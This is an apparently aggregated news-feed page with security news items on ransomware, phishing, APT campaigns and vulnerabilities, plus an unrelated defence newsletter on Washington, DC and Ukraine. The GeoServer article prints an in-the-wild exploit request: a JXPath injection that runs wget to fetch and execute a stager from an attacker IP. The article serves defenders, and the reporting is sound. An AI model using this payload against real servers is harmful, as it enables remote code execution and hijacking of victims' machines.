1010.cx

  • AI Website Generators Repurposed by Adversaries for Malware Campaigns

    ·

    , , ,

    Adversaries are using AI-powered website builders to expedite the development of harmful infrastructure in a quickly changing threat landscape, hence reducing the entry barriers for malware distribution and credential phishing. Platforms like Lovable, which enable users to generate fully functional websites via natural language prompts, have been observed in numerous campaigns since early 2025. These […]

    The post AI Website Generators Repurposed by Adversaries for Malware Campaigns appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Warlock Ransomware Exploits SharePoint Flaws for Initial Access and Credential Theft

    ·

    , , , ,

    The Warlock ransomware group has intensified its operations by targeting unpatched on-premises Microsoft SharePoint servers, leveraging critical vulnerabilities to achieve remote code execution and initial network access. This campaign, observed in mid-2025, involves sending crafted HTTP POST requests to upload web shells, facilitating reconnaissance, privilege escalation, and credential theft. Initial Exploitation Attackers exploit flaws like […]

    The post Warlock Ransomware Exploits SharePoint Flaws for Initial Access and Credential Theft appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Pre-Auth Exploit Chains Found in Commvault Could Enable Remote Code Execution Attacks

    ·

    Commvault has released updates to address four security gaps that could be exploited to achieve remote code execution on susceptible instances. The list of vulnerabilities, identified in Commvault versions before 11.36.60, is as follows – CVE-2025-57788 (CVSS score: 6.9) – A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybercriminals Deploy CORNFLAKE.V3 Backdoor via ClickFix Tactic and Fake CAPTCHA Pages

    ·

    Threat actors have been observed leveraging the deceptive social engineering tactic known as ClickFix to deploy a versatile backdoor codenamed CORNFLAKE.V3. Google-owned Mandiant described the activity, which it tracks as UNC5518, as part of an access-as-a-service scheme that employs fake CAPTCHA pages as lures to trick users into providing initial access to their systems, which is then

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat Actors Abuse Internet Archive to Host Stealthy JScript Loader

    ·

    , ,

    An Malicious actors are using reliable internet resources, such as the Internet Archive, more frequently to disseminate clandestine malware components in a worrying increase in cyberthreats. This tactic exploits the inherent trustworthiness of such platforms, allowing attackers to bypass traditional security filters and deliver payloads under the guise of legitimate content. The latest incident highlights […]

    The post Threat Actors Abuse Internet Archive to Host Stealthy JScript Loader appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The D Brief: Pushback in DC; Russia’s new bombardment; Marines’ drone wizards; Key AI platform, DOGEd; And a bit more.

    ·

    During a Wednesday photo op, protesters booed Pentagon chief Pete Hegseth, Vice President JD Vance, and White House deputy chief of staff Stephen Miller as they met with National Guard troops in Washington, D.C.’s Union Station. 

    The protesters shouted “Free DC!” as the men tried to speak to cameras, with Vance boasting, “A lot has changed in the past seven days,” or since President Trump ordered a flood of troops and federal agents into the city after citing false and exaggerated crime statistics. “You guys are doing a hell of a job. I'm proud of you and we're grateful,” Vance told the soldiers as the protests continued. 

    “We’re going to ignore these stupid white hippies who all need to go home and take a nap because they’re over 90 years old,” Miller told the cameras while standing beside Hegseth and Vance at a Shake Shack. He also called the demonstrators “crazy communists” and claimed—without evidence, and despite scenes like this in the Columbia Heights neighborhood on Tuesday—they have “no roots” in Washington, which Miller said is “one of the most violent cities on planet Earth.” And: “By the way,” he added, “most of the citizens who live in D.C. are Black. This is not a city that has had any safety for its Black citizens for generations.” 

    Update: 61% of DC residents say they feel less safe with Trump’s military occupation and federal takeover of the nation’s capital, according to a new Washington Post-Schar School poll. 79% of DC residents surveyed say they oppose Trump’s takeover, while only 17% say they support it. 

    There are better ways to improve things, residents suggested. Those include “increased economic opportunities in poor neighborhoods (with 77% support), stricter national gun laws (70%), an increased number of Metropolitan Police officers patrolling communities (63%) and using outreach workers to resolve disputes (57%),” CNN reports off the new poll. 

    Related:

    Panning out, Trump’s DC takeover “Looks a Lot Like an Immigration Raid,” the Wall Street Journal reported Wednesday. “In practice, the most visible impact of Trump’s federal takeover has been the immigration-enforcement effort in [select neighborhoods] including Mount Pleasant,” as illustrated in this video taken Friday and posted online by Immigration and Customs Enforcement. “We're taking America back, baby,” one of the masked men said as his crew tore down an anti-ICE banner. (His remark arguably begs the questions “back” from whom, and who is “we”?) 

    Trump’s federal agents “have pulled delivery drivers off mopeds, arrested construction workers and demanded proof of legal status from vendors selling mangos and watermelons,” the Journal reports. “Vehicle checkpoints have sprung up nightly, and ICE vans have parked outside daycare centers and churches that tend to employ immigrants.” 

    Notable: “Of the 465 total arrests from the start of operations in the District of Columbia through Tuesday, roughly 44%, or 206, have been arrests of immigrants in the country illegally, according to a White House official.” Read more (gift link), here. 

    Nationwide: “Deportations Reach New High After Summer Surge in Immigration Arrests,” the New York Times reported Wednesday with a slew of updated government-provided data.  

    Background: “In late May, Stephen Miller…ordered ICE leaders to escalate arrests across the board, even if it meant broadening its focus beyond immigrants with a criminal record. Since then, almost all of the increase in arrests has been of people without any prior criminal convictions.” 

    In new podcast discussions, The Atlantic’s David Frum spoke with immigration reporter Caitlin Dickerson to unpack for listeners “How ICE Became Trump’s Secret Army.” 

    Related reading: 

    Welcome to this Thursday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1968, James Anderson Jr. posthumously received the first Medal of Honor awarded to an African American Marine. He had perished as a 20-year-old private first class when a grenade landed near him and his fellow Marines. “Unhesitatingly and with complete disregard for his own personal safety, he reached out, grasped the grenade, pulled it to his chest and curled around it as it went off,” his citation reads. 

    Around the Defense Department

    A new attack drone team is defining UAV warfare for the Marines. In January, the Marine Corps stood up a 12-person Attack Drone Team to be its point outfit for developing tactics, techniques and procedures for the armed first-person viewer drones that are increasingly fielded to its infantry units. Defense One’s Meghann Myers talked with the commander of Weapons Training Battalion, the team’s parent unit. Read her report, here.

    Meanwhile, the Air Force is asking companies to build ‘exact replicas’ of the Shahed-136 drone to help develop defenses against the Iranian-designed, Russian-built weapon, Defense One’s Audrey Decker reports.

    And the Navy? Here’s a Wednesday headline from Reuters: “The US Navy is building a drone fleet to take on China. It's not going well.”

    Pentagon reductions set back critical AI-data platform. After users flocked to Advana, DOD’s AI office laid out a plan to keep it growing. Then came DOGE. “You tell this organization to do ‘A.’ Then you cut contracted staff by 80 percent and you have a turnover of close to what, 60 percent? Things are going to break. Things are going to get delayed. We’re in both places,” said one defense official who asked for anonymity to speak freely. Defense One’s Patrick Tucker explains what Advana is, why more than 70,000 defense employees were using it, and how badly needed improvements to keep it working have been brought to a halt.

    A naval aviator has been rescued off the Virginia coast after their F/A-18E jet went down Wednesday morning, the Navy said in a press release. 

    Russia’s war on Ukraine 

    Russia launched more than 600 drones and missiles at Ukraine overnight in what the Associated Press reports was “one of its biggest aerial attacks on Ukraine of the year.” 

    At least one person was killed in western Lviv and three others were injured when the attacks struck more than two dozen residential buildings, a kindergarten and administrative buildings, Ukrainian officials said. “A U.S. electronics plant near the Hungarian border was also struck,” AP reports, describing it as “one of the biggest American investments in Ukraine.”

    “Several cruise missiles were lobbed against an American-owned enterprise in Zakarpattia,” President Volodymir Zelenskyy noted on social media Thursday. “It was a regular civilian business, supported by American investment, producing everyday items like coffee machines. And yet, it was also a target for the Russians.” 

    “The Russians carried out this attack as if nothing has changed at all, as if there are no global efforts to stop this war,” Zelenskyy said, and emphasized despite Trump’s meeting with Vladimir Putin on Friday, “There is still no signal from Moscow that they truly intend to engage in substantive negotiations and end this war.”

    NATO diplomats are newly worried because, as one said, it appears “The U.S. is not fully committed to anything,” Politico reported Wednesday after talks between U.S. European allies this week regarding a potential post-war Ukraine. The talks involved Elbridge Colby, the Pentagon's undersecretary for policy, and Joint Chiefs chair Gen. Dan Caine. “The main takeaway is [a peace deal is] is not moving very quickly,” one European official told Politico.

    Additional reading: 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • MuddyWater APT Targets CFOs via OpenSSH; Enables RDP and Scheduled Tasks

    ·

    , ,

    A sophisticated spear-phishing campaign attributed to the Iranian-linked APT group MuddyWater is actively compromising CFOs and finance executives across Europe, North America, South America, Africa, and Asia. The attackers impersonate recruiters from Rothschild & Co, deploying Firebase-hosted phishing pages that incorporate custom math-based CAPTCHA challenges to evade detection and lend legitimacy. These lures lead victims […]

    The post MuddyWater APT Targets CFOs via OpenSSH; Enables RDP and Scheduled Tasks appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Paper Werewolf Exploits WinRAR Zero-Day Vulnerability to Deliver Malware

    ·

    , , , ,

    Cyber spies associated with the threat actor group Paper Werewolf have demonstrated advanced capabilities in bypassing email security filters by delivering malware through seemingly legitimate archive files, a tactic that exploits the commonality of such attachments in business correspondence. Despite their sophistication, these attackers continue to rely on detectable tactics, techniques, and procedures (TTPs), underscoring […]

    The post Paper Werewolf Exploits WinRAR Zero-Day Vulnerability to Deliver Malware appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat Actors Gaining Access to Victims’ Machines and Monetizing Access to Their Bandwidth

    ·

    , ,

    A stealthy campaign emerged in early March 2025 that capitalized on a critical remote code execution flaw in GeoServer (CVE-2024-36401) to compromise publicly exposed geospatial servers.

    Attackers exploited JXPath query injection within Apache Commons libraries, allowing arbitrary code execution through crafted XML requests.

    This vector enabled the silent deployment of customized executables that leveraged legitimate passive-income software development kits (SDKs) and applications, effectively turning victim networks into illicit proxy farms.

    Within days of the initial wave, Palo Alto Networks analysts noted a significant surge in probing activity against vulnerable GeoServer instances.

    Exposed GeoServer distribution in the five countries where they are most commonly hosted (Source – Palo Alto Networks)

    Cortex Xpanse telemetry revealed over 3,700 publicly accessible servers in the first week of May 2025 alone, underscoring the vast attack surface available to threat actors.

    These adversaries moved quickly to evade detection, rotating distribution IPs from 37.187.74[.]75 to 185.246.84[.]189 and expanding backend infrastructure to include a transfer.sh-style file-sharing service on port 8080.

    The monetization strategy behind this campaign favored long-term stealth over rapid resource consumption.

    Rather than deploying noisy cryptocurrency miners, attackers delivered two core payloads: a misused SDK that silently aggregated bandwidth-sharing sessions across infected hosts, and a misused application that created hidden directories and launched executables with minimal resource footprints.

    Both payloads mimicked legitimate passive-income services, making them difficult to detect through signature-based defenses.

    Victims remained unaware as their machines quietly forwarded web traffic or participated in residential proxy networks.

    By integrating genuine Dart-compiled binaries, the attackers exploited cross-platform capabilities to target Linux servers and bypass detection signatures tuned for more common malware languages.

    Indicators of compromise included connections to hxxp://37.187.74[.]75:8080 and hxxp://64.226.112[.]52:8080, where stage-one scripts such as z593 fetched additional stagers.

    Infection Mechanism Deep Dive

    One of the most insidious aspects of this campaign lies in its exploitation of JXPath’s extension functions.

    Upon receiving a crafted GetPropertyValue request, GeoServer’s property accessor mechanism passed an attacker-controlled expression into the iteratePointers method.

    This payload then invoked the javax.lang.Runtime.exec function, triggering remote command execution.

    Malicious code containing a JXPath referencing a Java execution function (Source – Palo Alto Networks)

    A snippet illustrating this injection follows:

    <ogc:GetPropertyValue service="WFS" version="1.1.0" xmlns:ogc="http://www.opengis.net/ogc">
  <ogc:ValueReference><![CDATA[
    Runtime.exec("wget http://185.246.84.189:8080/z593 -O /tmp/z593; chmod +x /tmp/z593; /tmp/z593"
  )]]></ogc:ValueReference>
</ogc:GetPropertyValue>

    Upon successful execution, z593 acted as a stager, creating a hidden folder under /var/tmp/.cache and fetching two additional payloads: z401, which established the execution environment, and z402, which launched the main executable with an embedded SDK key.

    Payload from an exploit found in the wild (Source – Palo Alto Networks)

    By chaining these stages, the attackers achieved persistence and ensured that bandwidth-sharing processes resumed automatically on reboot.

    Through this meticulous, multi-stage approach, threat actors have demonstrated how leveraging legitimate SDKs and file-sharing services can facilitate undetected monetization of network resources.

    Security teams are urged to apply GeoServer patches immediately, monitor outbound connections to known malicious IPs, and deploy behavioral analytics capable of identifying anomalous JXPath queries to thwart similar campaigns.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post Threat Actors Gaining Access to Victims’ Machines and Monetizing Access to Their Bandwidth appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Hackers Weaponize QR Codes Embedded with Malicious Links to Steal Sensitive Information

    ·

    , ,

    Cybersecurity researchers have observed a surge in phishing campaigns leveraging QR codes to deliver malicious payloads.

    This emerging threat, often dubbed “quishing,” exploits the opaque nature of QR codes to conceal harmful URLs that redirect victims to credential-harvesting sites or malware downloads.

    Unlike traditional phishing links that can be flagged by email gateways, QR codes require a visual scan by the end user—typically on a mobile device—circumventing desktop security controls and expanding the attacker’s window of opportunity.

    The earliest instances appeared in generic mass-email blasts posing as routine account notifications from well-known service providers.

    However, attackers have rapidly refined their tactics, tailoring messages to specific targets and embedding QR codes within seemingly innocuous images.

    In one campaign, a threat actor impersonated a leading cloud storage provider, prompting recipients to “scan to verify account activity.”

    Upon scanning, the QR code resolved to a fake login portal meticulously crafted to mirror the legitimate site’s HTML and JavaScript.

    Barracuda analysts noted this initial wave of quishing attacks relied heavily on social engineering rather than technical sophistication.

    As defenders began to recognize and block simple QR code attacks, adversaries escalated their techniques.

    Split QR codes emerged as a stealthier method, dividing a single code into two separate image fragments that appear benign when viewed independently.

    Split QR Code Example (Source – Barracuda)

    Email scanners inspecting image attachments typically miss two partial images, yet when rendered in an HTML email they recombine visually into a scannable QR pattern. Victims who scan the composite code are redirected to sites designed to harvest credentials or deploy secondary payloads.

    Detection Evasion Through Nested QR Codes

    Beyond splitting, the latest quishing kits employ nested QR codes to further obfuscate malicious links.

    A nested code consists of an inner, benign QR pointing to a harmless URL (e.g., Google), surrounded by an outer code directing to a phishing domain.

    This dual-layer approach generates ambiguous decoding results: standard QR readers often default to the inner code, while more sophisticated decoders can extract the outer payload.

    Attackers exploit this ambiguity to bypass QR analysis tools that lack the ability to interpret multiple layers within a single frame.

    Nested QR Code Example (Source – Barracuda)

    To illustrate, the following Python snippet uses the pyzbar library to decode layered QR images and highlight both payloads:-

    from PIL import Image  
from pyzbar.pyzbar import decode  

img = Image.open('nested_qr_code.png')  
results = decode(img)  
for res in results:  
    print(f'Data: {res.data.decode()}, Type: {res.type}')

    Defenders must adopt multimodal AI solutions capable of rendering images, isolating pixel patterns, and performing sandboxed link execution.

    As organizations bolster spam filters and enforce multi-factor authentication, attackers will undoubtedly continue to innovate. Vigilance, layered defenses, and user training remain critical to counteract this evolving quishing threat.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post Hackers Weaponize QR Codes Embedded with Malicious Links to Steal Sensitive Information appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶